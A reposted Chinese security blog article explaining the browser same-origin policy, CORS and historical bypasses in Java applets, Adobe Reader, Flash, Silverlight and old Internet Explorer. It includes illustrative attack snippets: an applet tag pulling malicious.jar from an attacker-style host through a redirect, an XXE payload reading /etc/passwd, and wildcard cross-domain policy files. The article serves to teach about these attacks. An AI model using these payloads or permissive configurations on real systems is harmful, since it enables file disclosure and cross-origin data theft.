浏览器有一个很重要的概念——同源策略(Same-Origin Policy)。所谓同源是指，域名，协议，端口相同。不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下，不能读写对方的资源。

同源策略详解及绕过[转]-风君雪科技博客

简单的来说，浏览器允许包含在页面A的脚本访问第二个页面B的数据资源，这一切是建立在A和B页面是同源的基础上。

同源策略是由Netscape提出的一个著名的安全策略，现在所有支持JavaScript 的浏览器都会使用这个策略。
实际上，这种策略只是一个规范，并不是强制要求，各大厂商的浏览器只是针对同源策略的一种实现。它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。

如果Web世界没有同源策略，当你登录FreeBuf账号并打开另一个站点时，这个站点上的JavaScript可以跨域读取你的FreeBuf账号数据，这样整个Web世界就无隐私可言了。

情景设想

将一个学校内的学生看作不同源的个体。虽然一个班级里面有许多学生，但是他们都是互不相关的个体。学生家长请求老师提供同学们的学习成绩报告，老师会告诉家长，你只能够查看自家孩子的学习成绩报告。

同理，学校收到请求要对一个学生的学习成绩进行评价，那么在出具评价报告之前，学校需要对请求者的身份进行确认。

这就是与浏览器密切相关的同源策略

继续假设，学校允许任何人不经过身份确认查看学生的学习成绩报告，这就和浏览器没有同源策略一样。
同源策略机制为现代广泛依赖于cookie维护用户会话的Web浏览器定义了一个特殊的功能，严格隔离不相关的网站提供的内容，防止客户端数据机密性或完整性丢失。

同源策略重要吗？

假设你已经成功登录Gmail服务器，同时在同一个浏览器访问恶意站点（另一个浏览器选项卡）。没有同源策略，攻击者可以通过JavaScript获取你的邮件以及其他敏感信息，比如说阅读你的私密邮件，发送虚假邮件，看你的聊天记录等等。

将Gmail替换为你的银行帐户，问题就大条了。

SOP和DOM：同源策略与文档对象模型

当我们谈论如何使用JavaScript访问DOM时，我们考虑了URL的三个要素（主机名 + 访问协议 + 端口号）
如果不止一个站点拥有相同的主机名、访问协议、端口号，那么他是能够成功访问到DOM的。然而，IE仅仅只是验证主机名以及访问协议，忽略了端口号。

在大多数情况下，多个站点可能在同一根域（获取源页面的DOM）。

例如，cart.httpsecure.org需要访问login.httpsecure.org来进行身份验证。在这种情况下，网站可以使用document.domain属性允许相同域下的其他站点进行DOM交互。如果你允许cart.httpsecure.org与login.httpsecure.org进行交互，开发者需要在两个站点的根域设置document.domain属性。

document.domain = “httpsecure.org”

这表示在当前页面，httpsecure.org下的任何站点都可以访问DOM资源。当你这样设置后，你应该时刻保持警惕！比如说你部署在网络上的另一个站点about.httpsecure.org，假设这个站点存在漏洞，那么cart.httpsecure.org这个站点也可能存在漏洞并且可以访问这个源。

如果攻击者能够上传一些恶意代码，那么about.httpsecure.org也会获得访问其他站点的权限。

SOP和CORS：同源策略与跨源资源共享

跨源资源共享（CORS）是一种允许多种资源（图片，Css，字体，JavaScript等）在一个web页面请求域之外的另一个域的资源的机制。

使用XMLHttpRequest对象发起HTTP请求就必须遵守同源策略。具体而言，Web应用程序能且只能使用XMLHttpRequest对象向其加载的源域名发起HTTP请求，而不能向任何其它域名发起请求。跨源资源共享这种机制让Web应用服务器能支持跨站访问控制，从而使得安全地进行跨站数据传输成为可能。

如果httpsecure.org源返回下面的响应头，所有httpsecure.org的子域与根域就打开了一个双向的通信通道:

Access-Control-Allow-Origin: *.Httpsecure.org
Access-Control-Allow-Methods: OPTIONS, GET, POST, HEAD, PUT
Access-Control-Allow-Headers: X-custom
Access-Control-Allow-Credentials: true

在上面的响应头中，第一行定义了双向通信通道，第二行定义了请求可以使用OPTIONS, GET, POST, PUT, HEAD中的任何方式，第三行则是定义的响应头，最后一行允许经过身份验证的资源进行通信。

SOP与plugins：同源策略与插件

注释：如果在httpsecure.org:80安装插件，那么只能允许插件访问httpsecure.org:80

由于不同的绕过方法，在Java，Adobe Reader，Flash，Silverlight中实现同源策略是十分痛苦的。大多数浏览器都使用他们自己的方式实现同源策略，如果处在同一个IP地址，一些Java版本会认为两个不同的域名应用同一个同源策略。这对于虚拟主机环境（多个域名使用同一个IP）来说可能是一个毁灭性的灾难。

谈论Flash player以及PDF reader插件，他们都有一个悠久的漏洞历史。这些漏洞大多数都是允许攻击者远程执行任意代码，这远比同源策略绕过更可怕！

在Flash中，你可以通过crossdomain.xml管理跨源通信，该文件一般在根目录下

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*.httpsecure.org" />
</cross-domain-policy>

使用这段代码的httpsecure.org子域可以实现站点的双向通信，Crossdomain.xml还支持Java以及JavaScript插件。

SOP与UI redressing：同源策略与界面伪装

点击劫持（clickjacking）是一种在网页中将恶意代码等隐藏在看似无害的内容（如按钮）之下，并诱使用户点击的手段。该术语最早由雷米亚·格罗斯曼（Jeremiah Grossman）与罗伯特·汉森（Robert Hansen）于2008年提出。这种行为又被称为界面伪装（UI redressing）。对于攻击者同源策略绕过，方法各有不同。事实上一部分攻击还是利用同源策略没有执行。

Java同源策略绕过

在Java1.7u17版本和1.6u45版本中，如果两个主机名解析到同一个IP地址，那么就不会执行同源策略（Httpsecure.org和 httpssecure.com解析到同一个IP地址）。Java applet（是一种在Web环境下，运行于客户端的Java程序组件，每个Applet的功能都比较单一）可以解决跨院请求和读取响应信息。

在Java6和Java7版本，如果两个主机名解析到同一个IP地址，那么会被认定为两个主机是相同的。

在Java同源策略中实现这种类型的漏洞，那会十分恐怖。特别是对于虚拟主机（多个域名解析到同一个IP地址）来说，那将是毁灭性的灾难。

最重要的是，通过applet使用BufferedReader和InputStreamReader对象考虑有关的权限需要。在Java1.6不需要运行applet实现用户交互，在1.7版本就不同了。现在用户必须使用点击播放特性(click to play feature)运行有签名和没有签名的applet，这个特性可以使用IMMUNITY来绕过并且导致了后来的CVE-2011-3546（在Java中同源策略绕过）。类似的在Adobe reader也发现了同源策略绕过。

<applet
code="malicious.class"
archive="http://httpsecure.org?redirect_to=

http://securityhacking123.com/malicious.jar"

width="100" height="100">
</applet>

Adobe Reader同源策略绕过

Adobe Reader在浏览器插件中存在许多的安全问题，其大部分漏洞都是由于溢出问题导致的任意代码执行漏洞。在Adobe Reader PDF中可以使用JavaScript，正是这个原因，所以有很多恶意软件将代码隐藏在PDF文件之中。

CVE-2013-0622通过未明向量，远程攻击者利用该漏洞绕过预期的访问限制。

如果我们谈论到XXE Injection，这涉及到试图注入恶意负载到请求中，输入如下：

<!DOCTYPE bar >
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "/etc/passwd" >]><bar>&xxe;</bar>

&XXE的值取而代之的是/etc/passwd，这项技术可以被用到同源策略绕过，它会加载XE并且服务器会返回一个302重定向响应。

Adobe Flash同源策略绕过

Adobe Flash使用crossdomain.xml文件控制Flash接收数据。我们可以在该文件中添加限制，只信任添加在内的站点。

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type"/>
<allow-access-from domain="*" />
</cross-domain-policy>

通过设置allow-access-from属性的域，您可以允许访问来自任何域的文档。

Silverlight同源策略绕过

Silverlight是微软推出的一款插件，其与Flash使用相同的同源策略。然而，其使用的clientaccess-policy.xml代码如下所示：

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>

请记住Silverlight与Flash是不同的，如Silverlight没有隔离基于协议和端口的不同源的访问，而Flash就会隔离。所以在Silverlight中 https://Httpsecure.org  和 http://Httpsecure.org  会被认为是同源。

Internet Explorer同源策略绕过

Internet Explorer8以及前面的版本很容易通过document.domain实现同源策略绕过，通过重写文档对象，域属性这个问题可以十分轻松的被利用。

var document;
document = {};
document.domain = ‘httpsecure.org';
alert(document.domain);

如果你在最新的浏览器中运行这段代码，可能在JavaScript控制台会显示一个同源策略绕过错误。

参考文献

http://en.wikipedia.org/wiki/Same-origin_policy

http://en.wikipedia.org/wiki/Cross-origin_resource_sharing

http://en.wikipedia.org/wiki/Clickjacking

https://browserhacker.com/

转自：http://www.freebuf.com/articles/web/65468.html